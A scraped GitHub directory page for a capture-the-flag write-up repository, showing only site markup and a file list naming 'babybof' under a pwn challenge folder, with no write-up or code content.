16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> gr4n173 </span> <span>/</span> CTF-WriteUp
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/gr4n173/CTF-WriteUp/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268424549,"originating_url":"https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babayp1pt2","user_id":null}}" data-hydro-click-hmac="d1ca547ae28e37e14d38465d9d0048f3fccf282777b1f8e3a182a41fa87dc861"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babayp1pt2<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babayp1pt2<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/gr4n173/CTF-WriteUp/tree-commit/9f0199001fc84bb659dd880a0ff160c79abb078c/Castorsctf/pwn/babayp1pt2" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/gr4n173/CTF-WriteUp/file-list/master/Castorsctf/pwn/babayp1pt2"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babybof</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
